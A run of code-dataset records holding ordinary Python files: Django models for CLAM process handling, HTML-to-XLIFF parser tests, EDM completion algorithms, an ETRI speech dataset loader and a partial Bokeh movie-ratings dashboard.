self.cleanup()\n raise e\n\n def start(self, profile, parameter_values=None):\n \"\"\"\n Add inputs to clam server and starts it.\n\n :param profile: the profile to run the process with\n :param parameter_values: a dictionary of (key, value) pairs with the parameter values to fill in, only\n overwrites variable parameters\n :return: the status of this project, or a ValueError when an error is encountered with the uploaded files and\n selected profile, an Exception for CLAM errors, or a ParameterException when a parameter is not satisfied\n \"\"\"\n if parameter_values is None:\n parameter_values = dict()\n\n if self.status == Process.STATUS_CREATED:\n self.set_status(Process.STATUS_UPLOADING)\n self.set_clam_id(Process.get_random_clam_id())\n clamclient = self.script.get_clam_server()\n clamclient.create(self.clam_id)\n templates = InputTemplate.objects.filter(\n corresponding_profile=profile\n )\n\n merged_parameters = self.script.get_parameters_as_dict(\n preset_parameters=parameter_values\n )\n\n if (\n len(\n self.script.get_unsatisfied_parameters(\n merged_parameters.keys()\n )\n )\n != 0\n ):\n raise BaseParameter.ParameterException(\n \"Not all parameters are satisfied\"\n )\n self.upload_input_templates(templates)\n clamclient.startsafe(self.clam_id, **merged_parameters)\n self.set_status(Process.STATUS_RUNNING)\n update_script(self.pk)\n return True\n else:\n return False\n\n def upload_input_templates(self, templates):\n \"\"\"\n Upload files corresponding to the input templates.\n\n :param templates: a list of InputTemplate objects\n :return: None, raises a ValueError if there is no file for the template or more than one file for a unique\n template\n \"\"\"\n clamclient = self.script.get_clam_server()\n for template in templates:\n file_settings = FileSetting.objects.filter(\n input_template=template, file__project=self.project\n )\n for file_setting in file_settings:\n clamclient.addinputfile(\n self.clam_id,\n template.template_id,\n file_setting.file.absolute_file_path,\n )\n\n def cleanup(self, status=STATUS_CREATED):\n \"\"\"\n Reset a project on the CLAM server by deleting it and resetting the clam id and status on Django.\n\n :param status: the status to set the process to after this function has been ran, default=STATUS_CREATED\n :return: None\n \"\"\"\n if self.clam_id is not None:\n try:\n clamclient = self.script.get_clam_server()\n clamclient.delete(self.clam_id)\n except Exception as e:\n logging.error(e)\n self.clam_id = None\n self.status = status\n self.save()\n\n def clam_update(self):\n \"\"\"\n Update a process.\n\n :return: True when the status was successfully updated (this means the status of this process could also be left\n unchanged), False otherwise\n \"\"\"\n if self.status == Process.STATUS_RUNNING:\n try:\n clamclient = self.script.get_clam_server()\n data = clamclient.get(self.clam_id)\n except Exception as e:\n logging.error(e)\n return False\n self.update_log_messages_from_xml(data.xml)\n if data.status == status.DONE:\n self.set_status(Process.STATUS_WAITING)\n return True\n else:\n return False\n\n def download_and_cleanup(self):\n \"\"\"\n Download all files from a process, decompress them and delete the project from CLAM.\n\n :return: True if downloading the files and extracting them succeeded, False otherwise\n \"\"\"\n if (\n self.status == Process.STATUS_WAITING\n or self.status == Process.STATUS_ERROR_DOWNLOAD\n ):\n self.set_status(Process.STATUS_DOWNLOADING)\n if self.download_archive_and_decompress():\n self.move_downloaded_output_files()\n self.cleanup(status=Process.STATUS_FINISHED)\n return True\n else:\n self.set_status(Process.STATUS_ERROR_DOWNLOAD)\n return False\n else:\n return False\n\n def move_downloaded_output_files(self, files=None):\n \"\"\"\n Move downloaded output files that are needed for the next script to the main directory.\n\n :return: None\n \"\"\"\n for file in self.file_list:\n if (\n files is None\n and OutputTemplate.match_any(file, self.script.output_templates)\n ) or (files is not None and file in files):\n file_obj, created = File.objects.get_or_create(\n file=os.path.join(self.project.folder, file),\n project=self.project,\n )\n file_obj.save()\n shutil.copy(\n os.path.join(self.absolute_process_folder, file),\n os.path.join(\n self.project.absolute_path, file_obj.absolute_file_path\n ),\n )\n\n def download_archive_and_decompress(self):\n \"\"\"\n Download the output archive from the CLAM server.\n\n :return: the location of the downloaded archive on success, False on failure\n \"\"\"\n try:\n clamclient = self.script.get_clam_server()\n os.makedirs(self.absolute_process_folder, exist_ok=True)\n clamclient.downloadarchive(\n self.clam_id, self.absolute_output_archive_path, \"zip\"\n )\n with zipfile.ZipFile(\n self.absolute_output_archive_path, \"r\"\n ) as zip_ref:\n zip_ref.extractall(self.absolute_process_folder)\n os.remove(self.absolute_output_archive_path)\n return True\n except Exception as e:\n logging.error(\n \"An error occurred while downloading and decompressing files from CLAM. Error: {}\".format(\n e\n )\n )\n return False\n\n @property\n def finished(self):\n \"\"\"\n Check if this process is finished.\n\n :return: True if this process has a status of STATUS_FINISHED, False otherwise\n \"\"\"\n return self.status == Process.STATUS_FINISHED\n\n @property\n def log_messages(self):\n \"\"\"\n Get the status messages of this process.\n\n :return: the status messages in a QuerySet\n \"\"\"\n return LogMessage.objects.filter(process=self).order_by(\"index\")\n\n @property\n def absolute_process_folder(self):\n \"\"\"Get the absolute process folder path.\"\"\"\n return os.path.join(\n os.path.join(settings.MEDIA_ROOT, settings.PROCESS_DATA_FOLDER),\n str(self.id),\n )\n\n @property\n def absolute_output_archive_path(self):\n \"\"\"Get the absolute path to the output archive.\"\"\"\n return os.path.join(self.absolute_process_folder, \"output-archive.zip\")\n\n def get_status_string(self):\n \"\"\"\n Get the status of this project in string format.\n\n :return: a string format of self.status\n \"\"\"\n if self.status == Process.STATUS_CREATED:\n return \"Ready to start\"\n elif self.status == Process.STATUS_RUNNING:\n return \"Running\"\n elif self.status == Process.STATUS_WAITING:\n return \"CLAM Done, waiting for download\"\n elif self.status == Process.STATUS_DOWNLOADING:\n return \"Downloading files from CLAM\"\n elif self.status == Process.STATUS_FINISHED:\n return \"Done\"\n elif self.status == Process.STATUS_ERROR:\n return \"An error occurred\"\n elif self.status == Process.STATUS_ERROR_DOWNLOAD:\n return \"Error while downloading files from CLAM\"\n else:\n return \"Unknown\"\n\n @property\n def file_list(self):\n \"\"\"Get a file list of the files in the output directory of the process.\"\"\"\n return [\n x\n for x in os.listdir(self.absolute_process_folder)\n if os.path.isfile(os.path.join(self.absolute_process_folder, x))\n ]\n\n class Meta:\n \"\"\"\n Display configuration for admin pane.\n\n Order admin list alphabetically by name.\n Display plural correctly.\n \"\"\"\n\n verbose_name_plural = \"Processes\"\n\n\nclass LogMessage(models.Model):\n \"\"\"Class for saving CLAM log messages.\"\"\"\n\n time = models.DateTimeField(\n null=True, help_text=\"The time of the log message.\"\n )\n message = models.CharField(max_length=16384, help_text=\"The log message.\")\n process = models.ForeignKey(\n Process,\n on_delete=models.CASCADE,\n null=False,\n blank=False,\n help_text=\"The process for which this log message \" \"is.\",\n )\n index = models.PositiveIntegerField(\n help_text=\"The index of the log message. Log messages will be sorted on their\"\n \" index.\"\n )\n\n\nclass FileSetting(models.Model):\n \"\"\"Class for adding Files to InputTemplates.\"\"\"\n\n file = models.ForeignKey(\n File,\n on_delete=models.CASCADE,\n null=False,\n blank=False,\n help_text=\"The file for which this file setting is \" \"specified.\",\n )\n input_template = models.ForeignKey(\n InputTemplate,\n related_name=\"file_settings\",\n on_delete=models.CASCADE,\n null=False,\n blank=False,\n help_text=\"The Input Template to register the File Setting for.\",\n )\n\n @staticmethod\n def create_for_file_presets(\n input_template: InputTemplate, project: Project\n ):\n \"\"\"Create file settings automatically for the input template using the file presets.\"\"\"\n file_presets = FilePreset.objects.filter(input_template=input_template)\n file_preset_files = [\n x\n for x in project.files\n if FilePreset.match_any(x.filename, file_presets)\n ]\n if len(file_preset_files) == 1 and input_template.unique:\n return [\n FileSetting.objects.get_or_create(\n file=x, input_template=input_template\n )\n for x in file_preset_files\n ]\n elif not input_template.unique:\n return [\n FileSetting.objects.get_or_create(\n file=x, input_template=input_template\n )\n for x in file_preset_files\n ]\n else:\n return []\n\n @staticmethod\n def create_for_input_template(\n input_template: InputTemplate, project: Project\n ):\n \"\"\"Create file settings automatically for the input template.\"\"\"\n file_presets = FileSetting.create_for_file_presets(\n input_template, project\n )\n if len(file_presets) > 0:\n return file_presets\n\n files_with_extension = project.get_files_with_extension(\n input_template.extension\n )\n if input_template.unique and len(files_with_extension) == 1:\n return [\n FileSetting.objects.get_or_create(\n file=files_with_extension[0], input_template=input_template\n )\n ]\n elif not input_template.unique:\n return [\n FileSetting.objects.get_or_create(\n file=x, input_template=input_template\n )\n for x in files_with_extension\n ]\n else:\n return []\n\n\nclass ParameterSetting(models.Model):\n \"\"\"Class for parameter settings.\"\"\"\n\n class InvalidValueType(Exception):\n \"\"\"Exeception indicating that a ParameterSetting has an incorrect type.\"\"\"\n\n pass\n\n _value = models.CharField(\n max_length=1024,\n help_text=\"The value of the Parameter Setting in string format.\",\n )\n base_parameter = models.ForeignKey(\n BaseParameter,\n related_name=\"parameter_setting\",\n on_delete=models.CASCADE,\n null=False,\n blank=False,\n help_text=\"The Base Parameter to register the Parameter Setting for.\",\n )\n project = models.ForeignKey(\n Project,\n on_delete=models.CASCADE,\n null=False,\n blank=False,\n help_text=\"The Project for which to register the \" \"Parameter Setting.\",\n )\n\n @property\n def raw_value(self):\n \"\"\"Get the raw value.\"\"\"\n return self._value\n\n @property\n def value(self):\n \"\"\"Get the value as the intended type.\"\"\"\n if self.base_parameter.type == BaseParameter.BOOLEAN_TYPE:\n return (\n self._value != \"0\"\n and self._value != \"false\"\n and self._value != \"False\"\n )\n elif self.base_parameter.type == BaseParameter.STATIC_TYPE:\n return self._value\n elif self.base_parameter.type == BaseParameter.STRING_TYPE:\n return self._value\n elif self.base_parameter.type == BaseParameter.CHOICE_TYPE:\n choice_parameter = self.base_parameter.get_typed_parameter()\n if choice_parameter is not None:\n choices = choice_parameter.get_available_choices()\n for choice in choices:\n if choice.value == self._value:\n return choice\n raise ValueError(\n \"Choice does not exist for base parameter {} and choice {}.\".format(\n self.base_parameter, self._value\n )\n )\n raise ValueError(\n \"Choice parameter does not exist for base parameter {}\".format(\n self.base_parameter\n )\n )\n elif self.base_parameter.type == BaseParameter.TEXT_TYPE:\n return self._value\n elif self.base_parameter.type == BaseParameter.INTEGER_TYPE:\n return int(self._value)\n elif self.base_parameter.type == BaseParameter.FLOAT_TYPE:\n return float(self._value)\n else:\n raise TypeError(\n \"Type of parameter {} unknown\".format(self.base_parameter)\n )\n\n def has_right_value_type(self):\n \"\"\"Check if the type of the _value field is correct.\"\"\"\n if self.base_parameter.type == BaseParameter.BOOLEAN_TYPE:\n return True\n elif self.base_parameter.type == BaseParameter.STATIC_TYPE:\n return True\n elif self.base_parameter.type == BaseParameter.STRING_TYPE:\n return True\n elif self.base_parameter.type == BaseParameter.CHOICE_TYPE:\n choice_parameter = self.base_parameter.get_typed_parameter()\n if choice_parameter is not None:\n return self._value in [\n x.value for x in choice_parameter.get_available_choices()\n ]\n elif self.base_parameter.type == BaseParameter.TEXT_TYPE:\n return True\n elif self.base_parameter.type == BaseParameter.INTEGER_TYPE:\n try:\n int(self._value)\n return True\n except ValueError:\n return False\n elif self.base_parameter.type == BaseParameter.FLOAT_TYPE:\n try:\n float(self._value)\n return True\n except ValueError:\n return False\n return False\n\n def save(\n self,\n force_insert=False,\n force_update=False,\n using=None,\n update_fields=None,\n ):\n \"\"\"Save this model.\"\"\"\n if self.has_right_value_type():\n return super().save(\n force_insert=force_insert,\n force_update=force_update,\n using=using,\n update_fields=update_fields,\n )\n else:\n raise ParameterSetting.InvalidValueType(\n \"Type validation for {} failed\".format(self)\n )\n\n class Meta:\n \"\"\"Meta class.\"\"\"\n\n unique_together = (\"base_parameter\", \"project\")\n\n\nclass FilePreset(models.Model):\n \"\"\"File presets.\"\"\"\n\n input_template = models.ForeignKey(\n InputTemplate,\n on_delete=models.CASCADE,\n null=False,\n blank=False,\n help_text=\"The Input template for which to \"\n \"register the File Preset. When \"\n \"automatic configuration of File \"\n \"Settings is being ran by a User, \"\n \"all File Presets of an Input \"\n \"template will try to match files in\"\n \" the corresponding Project. If one\"\n \" matches it will be created as a\"\n \" File Setting.\",\n )\n regex = models.CharField(\n max_length=1024,\n null=False,\n blank=False,\n help_text=\"The regular expression to use when \"\n \"matching file names of a Project.\",\n )\n\n def __init__(self, *args, **kwargs):\n \"\"\"Initialize file preset.\"\"\"\n super().__init__(*args, **kwargs)\n self._regex = re.compile(self.regex)\n\n @staticmethod\n def match_any(filename, filepresets):\n \"\"\"Match any filename against a list of filepresets.\"\"\"\n for filepreset in filepresets:\n if filepreset.match(filename):\n return True\n return False\n\n def match(self, filename):\n \"\"\"Match a filename against this file preset.\"\"\"\n return self._regex.match(filename)\n\n\nclass PreferableFile(models.Model):\n \"\"\"File list extension.\"\"\"\n\n input_template = models.ForeignKey(\n InputTemplate,\n on_delete=models.CASCADE,\n null=False,\n blank=False,\n help_text=\"The Input template for which to \"\n \"register the File list regular expression. Files that match the regular expression are shown in the\"\n \"Process configuration window under this input template.\",\n )\n regex = models.CharField(\n max_length=1024,\n null=False,\n blank=False,\n help_text=\"The regular expression to use when \"\n \"matching file names of a Project.\",\n )\n\n def __init__(self, *args, **kwargs):\n \"\"\"Initialize file preset.\"\"\"\n super().__init__(*args, **kwargs)\n self._regex = re.compile(self.regex)\n\n @staticmethod\n def match_any(filename, filepresets):\n \"\"\"Match any filename against a list of filepresets.\"\"\"\n for filepreset in filepresets:\n if filepreset.match(filename):\n return True\n return False\n\n def match(self, filename):\n \"\"\"Match a filename against this file preset.\"\"\"\n return self._regex.match(filename)\n","sub_path":"equestria/processes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":25346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"430942940","text":"import os\nimport sys\nfrom xliff_converter import html_parser as hp\n\nHTML5 = '''\n\n\n \n \n \n \n\n This is title\n\n \n \n\n\n

This is header

\n \"Image\n

Simple paragraph.

\n

\n Multiline paragraph
\n Second line
\n Third line\n

\n

Paragraph with inline tags.

\n

Paragraph with a link.

\n

Paragraph with enclosing inline tags.

\n

Paragraph with entity reference.

\n

Paragraph with character reference.

\n

First sentence. Second sentence. Third sentence

\n

Inline image:

\n
import this
\n\n'''\n\nthis_dir = os.path.dirname(os.path.abspath(__file__))\nbase_dir = os.path.dirname(this_dir)\nsys.path.append(base_dir)\n\n\ndef test_detect_encoding():\n with open(os.path.join(base_dir, 'samples', 'sample_html4.html'), 'rb') as fo:\n html = fo.read()\n assert hp.detect_encoding(html) == 'iso-8859-1'\n with open(os.path.join(base_dir, 'samples', 'sample_html5.html'), 'rb') as fo:\n html = fo.read()\n assert hp.detect_encoding(html) == 'utf-8'\n assert hp.detect_encoding(b'') is None\n\n\ndef test_content_parser_html5():\n parser = hp.ContentParser()\n parser.feed(HTML5)\n cont_list = parser.content_list\n assert len(cont_list) == 18\n assert 'HTML5 test sample' in cont_list\n assert 'html5, sample' in cont_list\n assert 'Image caption' in cont_list\n assert 'Paragraph withinline tags.' in cont_list\n assert 'Second line' in cont_list and 'Third line' in cont_list\n assert 'Paragraph with enclosing inline tags.' in cont_list\n assert 'Paragraph with entity reference.' in cont_list\n assert 'Paragraph with character reference.' in cont_list\n assert 'Inline image: ' in cont_list\n assert '.foo { color: blue; }' not in cont_list\n assert 'console.log(\\'Hello World!\\');' not in cont_list\n\n\ndef test_segment_html():\n segments = list(hp.segment_html(HTML5))\n assert len(segments) == 19\n\n\ndef test_add_t_tags():\n string = 'String with various open,
close and isolated tags.
'\n segment = hp.add_t_tags(string)\n print(segment)\n assert segment == '<b><i>' \\\n 'String with <span>various open' \\\n '</span>,<br>' \\\n 'close and isolated tags.</em>' \\\n '</b>'\n\n\ndef test_create_skeleton():\n html = 'Page title

Page body

'\n segments = ['Page title', 'Page body']\n skl = '{{%1%}}

{{%2%}}

'\n assert hp.create_skeleton(segments, html) == skl\n\n\ndef test_create_xliff():\n segments = ['Page title', 'Page body']\n skl = '' \\\n '{{%1%}}' \\\n '' \\\n '

{{%2%}}

' \\\n ''\n xliff = b'' \\\n b'' \\\n b'' \\\n b'
' \\\n b'' \\\n b'' \\\n b'PGh0bWw+PGhlYWQ+PHRpdGxlPnt7JTElfX08L3RpdGxlPjwvaGVhZD48Ym9keT48cD57eyUyJX19PC9wPjwvYm9keT48L2h0bWw+' \\\n b'' \\\n b'
' \\\n b'' \\\n b'Page title' \\\n b'Page\\xc2\\xa0body' \\\n b'
'\n assert hp.create_xliff(segments, skl, 'index.html') == xliff\n","sub_path":"tests/test_html_parser.py","file_name":"test_html_parser.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"480310309","text":"#!/usr/bin/env python\n# module EDM_COMPLETION\nimport numpy as np\nfrom cvxpy import *\n\n\ndef optspace(edm_missing, rank, niter=500, tol=1e-6, print_out=False):\n \"\"\"Complete and denoise EDM using OptSpace algorithm.\n\n Uses OptSpace algorithm to complete and denoise EDM. The problem being solved is\n X,S,Y = argmin_(X,S,Y) || W ° (D - XSY') ||_F^2\n\n Args:\n edm_missing: EDM with 0 where no measurement was taken\n rank: expected rank of complete EDM\n niter, tol: see opt_space module for description.\n\n Returns:\n Completed matrix.\n \"\"\"\n from .opt_space import opt_space\n N = edm_missing.shape[0]\n X, S, Y, __ = opt_space(edm_missing, r=rank, niter=niter,\n tol=tol, print_out=print_out)\n edm_complete = X.dot(S.dot(Y.T))\n edm_complete[range(N), range(N)] = 0.0\n return edm_complete\n\n\ndef rank_alternation(edm_missing, rank, niter=50, print_out=False, edm_true=None):\n \"\"\"Complete missing EDM entries using rank alternation.\n\n Iteratively impose rank and strucutre to complete marix entries\n\n Args:\n edm_missing: EDM with 0 where no measurement was taken\n rank: expected rank of complete EDM\n niter: maximum number of iterations\n edm: if given, the relative EDM error is tracked. \n\n Returns:\n Completed matrix and array of errors (empty if no true edm is given).\n The matrix is of the correct structure, but might not have the right measured entries.\n\n \"\"\"\n from .basics import low_rank_approximation\n errs = []\n N = edm_missing.shape[0]\n edm_complete = edm_missing.copy()\n edm_complete[edm_complete == 0] = np.mean(edm_complete[edm_complete > 0])\n for i in range(niter):\n # impose matrix rank\n edm_complete = low_rank_approximation(edm_complete, rank)\n\n # impose known entries\n edm_complete[edm_missing > 0] = edm_missing[edm_missing > 0]\n\n # impose matrix structure\n edm_complete[range(N), range(N)] = 0.0\n edm_complete[edm_complete < 0] = 0.0\n edm_complete = 0.5 * (edm_complete + edm_complete.T)\n\n if edm_true is not None:\n err = np.linalg.norm(edm_complete - edm_true)\n errs.append(err)\n return edm_complete, errs\n\n\ndef semidefinite_relaxation(edm_missing, lamda, W=None, print_out=False, **kwargs):\n from .algorithms import reconstruct_mds\n def kappa(gram):\n n = len(gram)\n e = np.ones(n)\n return np.outer(np.diag(gram), e) + np.outer(e, np.diag(gram).T) - 2 * gram\n\n def kappa_cvx(gram, n):\n e = np.ones((n, 1))\n return diag(gram) * e.T + e * diag(gram).T - 2 * gram\n\n method = kwargs.pop('method', 'maximize')\n options = {'solver' : 'SCS'}\n options.update(kwargs)\n\n if W is None:\n W = (edm_missing > 0)\n else:\n W[edm_missing == 0] = 0.0\n\n n = edm_missing.shape[0]\n V = np.c_[-np.ones(n - 1) / np.sqrt(n), np.eye(n - 1) -\n np.ones([n - 1, n - 1]) / (n + np.sqrt(n))].T\n\n # Creates a n-1 by n-1 positive semidefinite variable.\n H = Semidef(n - 1)\n G = V * H * V.T # * is overloaded\n edm_optimize = kappa_cvx(G, n)\n\n if method == 'maximize':\n obj = Maximize(trace(H) - lamda * norm(mul_elemwise(W, (edm_optimize - edm_missing))))\n elif method == 'minimize':\n obj = Minimize(trace(H) + lamda * norm(mul_elemwise(W, (edm_optimize - edm_missing))))\n\n prob = Problem(obj)\n\n total = prob.solve(**options)\n if print_out:\n print('total cost:', total)\n print('SDP status:',prob.status)\n\n if H.value is not None:\n Gbest = V * H.value * V.T\n if print_out:\n print('eigenvalues:',np.sum(np.linalg.eigvals(Gbest)[2:]))\n edm_complete = kappa(Gbest)\n else:\n edm_complete = edm_missing\n\n # TODO why do these two not sum up to the objective?\n if (print_out):\n if H.value is not None:\n print('trace of H:', np.trace(H.value))\n print('other cost:', lamda * norm(mul_elemwise(W, (edm_complete - edm_missing))).value)\n\n return edm_complete\n # TODO: why does this not work?\n #Ubest, Sbest, Vbest = np.linalg.svd(Gbest)\n #from basics import eigendecomp\n #factor, u = eigendecomp(Gbest, d)\n #Xhat = np.diag(factor).dot(u.T)[:d]\n\nif __name__ == \"__main__\":\n print('nothing happens when running this module. It is only a container of functions.')\n","sub_path":"pylocus/edm_completion.py","file_name":"edm_completion.py","file_ext":"py","file_size_in_byte":4420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"367091503","text":"import torch\nimport torch.utils.data as data\nfrom glob import glob\nfrom os.path import join, basename, exists\nimport numpy as np\nimport pickle as pkl\nfrom random import random\nimport os\nHOME = os.environ['HOME']\n\nclass ETRI(data.Dataset):\n def __init__(self, which_set='train', datapath=HOME+'/data/etri'):\n # Load vocabulary\n vocab_path = datapath + '/bin/vocab_dict.pkl'\n self.vocab_dict = pkl.load(open(vocab_path, 'rb'))\n self.vocab_size = len(self.vocab_dict)\n\n # Filelist \n self.txtlist = np.sort(glob(datapath+'/bin/*.txt'))\n self.mellist = np.sort(glob(datapath+'/bin/*.mel'))\n\n if which_set == 'train':\n self.txtlist = self.txtlist[:-100]\n self.mellist = self.mellist[:-100]\n elif which_set == 'val':\n self.txtlist = self.txtlist[-100:]\n self.mellist = self.mellist[-100:]\n else:\n raise ValueError\n \n \n self.dbname = 'ETRI'\n self.gen_lu = {'female': 0, 'male': 1}\n self.age_lu = {'age20': 0, 'age30': 1, 'age40': 2}\n self.emo_lu = {'neu': 0, 'hap': 1, 'sad': 2, 'ang': 3, 'sur': 4, 'fea': 5, 'dis': 6}\n self.spkr_dict = ['F', 'M', 'TCCF', 'TCCM']\n self.num_spkr = len(self.spkr_dict)\n self.spkr_lu = {'_'.join((self.dbname, self.spkr_dict[ii])): xx for ii, xx in enumerate(range(self.num_spkr))}\n\n assert len(self.txtlist)==len(self.mellist), \\\n 'mellist({}) and txtlist({}) has different length'.format(len(self.mellist), len(self.txtlist))\n\n self.char2onehot = lambda x : self.vocab_dict[x] if x in self.vocab_dict.keys() else None \n\n def __len__(self):\n return len(self.txtlist)\n\n def __getitem__(self, idx):\n # Text read\n with open(self.txtlist[idx], 'r') as f:\n txt = f.readline()\n txt_feat = list(filter(None, [self.char2onehot(xx) for xx in txt]))\n\n # Mel/Lin read\n mellin = pkl.load(open(self.mellist[idx], 'rb'))\n mel = mellin['mel']\n #lin = mellin['lin']\n style = self.getstyle(self.txtlist[idx])\n\n return {'txt': np.asarray(txt_feat), \n 'style': style, \n #'target_lin': np.asarray(lin), \n 'target_mel': np.asarray(mel),\n 'filename': {'target':self.mellist[idx]}\n }\n\n def getstyle(self, filename):\n age = self.age_lu['age30']\n emotion = 0 # neutral\n fname = basename(filename)\n if fname.startswith('F'):\n spkr = 'F'\n gender = self.gen_lu['female']\n elif fname.startswith('M'):\n spkr = 'M'\n gender = self.gen_lu['male']\n elif fname.startswith('TCCF'):\n spkr = 'TCCF'\n gender = self.gen_lu['female']\n elif fname.startswith('TCCM'):\n spkr = 'TCCM'\n gender = self.gen_lu['male']\n else:\n raise ValueError\n\n spkr = self.spkr_lu['_'.join((self.dbname, spkr))]\n return {'age': age, 'gender': gender,'emotion': emotion, 'spkr': spkr}\n\n def get_vocab_size(self):\n return self.vocab_size\n\n def set_vocab_dict(self, vocab_dict):\n self.vocab_dict = vocab_dict\n self.vocab_size = len(vocab_dict)\n self.char2onehot = lambda x : self.vocab_dict[x] if x in self.vocab_dict.keys() else None\n\n def set_spkr_lu(self, spkr_lu):\n self.spkr_lu = spkr_lu\n\n\nif __name__=='__main__':\n aa = ETRI()\n print(aa[0])\n\n","sub_path":"dataset/ETRI.py","file_name":"ETRI.py","file_ext":"py","file_size_in_byte":3508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"338036782","text":"import pandas as pd\nfrom bokeh.models import ColumnDataSource, DataTable, TableColumn, Button, Toggle, Panel, Tabs, Select, Dropdown, Div\nfrom bokeh.layouts import Row, Column\nfrom bokeh.io import curdoc\nfrom bokeh.palettes import viridis, magma, inferno, grey, cividis, Turbo256\nfrom bokeh.plotting import figure\nfrom bokeh.transform import cumsum\nfrom math import pi\nfrom tools import openfile, type_change\n\ndata = openfile()\n# split genres\ndata['Genres'] = data['Genres'].str.split(',')\ndata = (data.set_index(['Your Rating', 'Const', 'Year', 'Title Type'])['Genres'].apply(pd.Series).stack().reset_index()\n .drop('level_4', axis=1).rename(columns={0: 'Genres_split'}))\ndata['Genres_split'] = data['Genres_split'].str.strip()\ndata['Title Type'] = data['Title Type'].apply(type_change)\n\ndef datacreater(datatag, dataname, pallette, *passnumber):\n '''\n creates data and updated data for pie charts and data tables\n passnumber: if it was a pass number, creates a updated data source that skip more than this number\n '''\n variabledictionary = {}\n first = datatag\n second = datatag + '_mean'\n third = 'total_by_' + datatag\n sourcename = 'source_top_' + datatag + '_data'\n sourcenameupdated = 'source_top_' + datatag + 'updated_data'\n\n if passnumber:\n selection = (data[data.groupby([dataname])[\"Your Rating\"].transform('count') > passnumber[0]]\n .groupby([dataname])[\"Your Rating\"])\n variabledictionary[sourcenameupdated] = {\n first: selection.mean().index,\n second: selection.mean().sort_values(ascending=False).values.round(2),\n third: selection.count().values,\n 'angle': selection.count().values / selection.count().values.sum()*2*pi,\n 'angle_by_mean': selection.mean() / selection.mean().sum() * 2 * pi,\n 'color': pallette(len(selection.mean().index))\n }\n return variabledictionary[sourcenameupdated]\n else:\n selection = data.groupby([dataname])[\"Your Rating\"]\n variabledictionary[sourcename] = {\n first: selection.mean().index,\n second: selection.mean().sort_values(ascending=False).values.round(2),\n third: selection.count().values,\n 'angle': selection.count().values / selection.count().values.sum() * 2 * pi,\n 'angle_by_mean': selection.mean() / selection.mean().sum() * 2 * pi,\n 'color': pallette(len(selection.mean().index))\n }\n return variabledictionary[sourcename]\n\n\ndef update_all(attr, old, new):\n\n Colorpallettesdict = dict(viridis=viridis, magma=magma, inferno=inferno, grey=grey, cividis=cividis, Turbo256=Turbo256)\n\n if skipbutton.active:\n source_top_genres.data = datacreater('genres', 'Genres_split', Colorpallettesdict[genres_style.value],50)\n else:\n source_top_genres.data = datacreater('genres', 'Genres_split', Colorpallettesdict[genres_style.value])\n\n if skipbutton2.active:\n source_top_years.data = datacreater('years', 'Year', Colorpallettesdict[years_style.value],10)\n else:\n source_top_years.data = datacreater('years', 'Year', Colorpallettesdict[years_style.value])\n\n if skipbutton3.active:\n source_top_types.data = datacreater('types', 'Title Type', Colorpallettesdict[types_style.value],10)\n else:\n source_top_types.data = datacreater('types', 'Title Type', Colorpallettesdict[types_style.value])\n\n if select.value == \"Total Movie\":\n genres_pie.glyph.start_angle = cumsum('angle', include_zero=True)\n genres_pie.glyph.end_angle = cumsum('angle')\n p.title.text = \"Pie Chart of Genres by Total Movie\"\n elif select.value == \"Mean\":\n genres_pie.glyph.start_angle = cumsum('angle_by_mean', include_zero=True)\n genres_pie.glyph.end_angle = cumsum('angle_by_mean')\n p.title.text=\"Pie Chart of Genres by Mean\"\n\n if select2.value == \"Total Movie\":\n years_pie.glyph.start_angle = cumsum('angle', include_zero=True)\n years_pie.glyph.end_angle = cumsum('angle')\n p2.title.text=\"Pie Chart of Years by Total Movie\"\n elif select2.value == \"Mean\":\n years_pie.glyph.start_angle = cumsum('angle_by_mean', include_zero=True)\n years_pie.glyph.end_angle = cumsum('angle_by_mean')\n p2.title.text=\"Pie Chart of Years by Mean\"\n\n if select3.value == \"Total Movie\":\n types_pie.glyph.start_angle = cumsum('angle', include_zero=True)\n types_pie.glyph.end_angle = cumsum('angle')\n p3.title.text=\"Pie Chart of Types by Total Movie\"\n elif select3.value == \"Mean\":\n types_pie.glyph.start_angle = cumsum('angle_by_mean', include_zero=True)\n types_pie.glyph.end_angle = cumsum('angle_by_mean')\n p3.title.text=\"Pie Chart of Types by Mean\"\n\nsource_top_years = ColumnDataSource(data=datacreater('years', 'Year', viridis))\nsource_top_genres = ColumnDataSource(data=datacreater('genres', 'Genres_split', magma))\nsource_top_types = ColumnDataSource(data=datacreater('types', 'Title Type', magma))\n\n# data-tables and charts\ncolumns_genres = [\n TableColumn(field=\"genres\", title=\"Genres\"),\n TableColumn(field=\"genres_mean\", title=\"Mean\"),\n TableColumn(field=\"total_by_genres\", title=\"Total\")]\ncolumns_years = [\n TableColumn(field=\"years\", title=\"Years\"),\n TableColumn(field=\"years_mean\", title=\"Mean\"),\n TableColumn(field=\"total_by_years\", title=\"Total\")]\ncolumns_types = [\n TableColumn(field=\"types\", title=\"Types\"),\n TableColumn(field=\"types_mean\", title=\"Mean\"),\n TableColumn(field=\"total_by_types\", title=\"Total\")]\n\ndata_table_genres = DataTable(source=source_top_genres, columns=columns_genres, width=550, height=240)\ndata_table_years = DataTable(source=source_top_years, columns=columns_years, width=550, height=240)\ndata_table_types = DataTable(source=source_top_types, columns=columns_types, width=550, height=240)\n\np = figure(plot_height=350, width=550, title=\"Pie Chart of Genres by Total Movie\", toolbar_location=None, x_range=(-1,1),\n sizing_mode=\"scale_both\", tools=\"hover\",\n tooltips=[(\"Genre\", \"@genres\"), (\"Mean\", \"@genres_mean\"), (\"Total Movie\", \"@total_by_genres\")])\n\np2 = figure(plot_height=350, width=550, title=\"Pie Chart of Years by Total Movie\", toolbar_location=None, x_range=(-1,1),\n sizing_mode=\"scale_both\", tools=\"hover\",\n tooltips=[(\"Year\", \"@years\"), (\"Mean\", \"@years_mean\"), (\"Total Movie\", \"@total_by_years\")])\n\np3 = figure(plot_height=350, width=550, title=\"Pie Chart of Types by Total Movie\", toolbar_location=None, x_range=(-1,1),\n sizing_mode=\"scale_both\", tools=\"hover\",\n tooltips=[(\"Types\", \"@types\"), (\"Mean\", \"@types_mean\"), (\"Total Movie\", \"@total_by_types\")])\n\ngenres_pie = p.wedge(x=0, y=2, 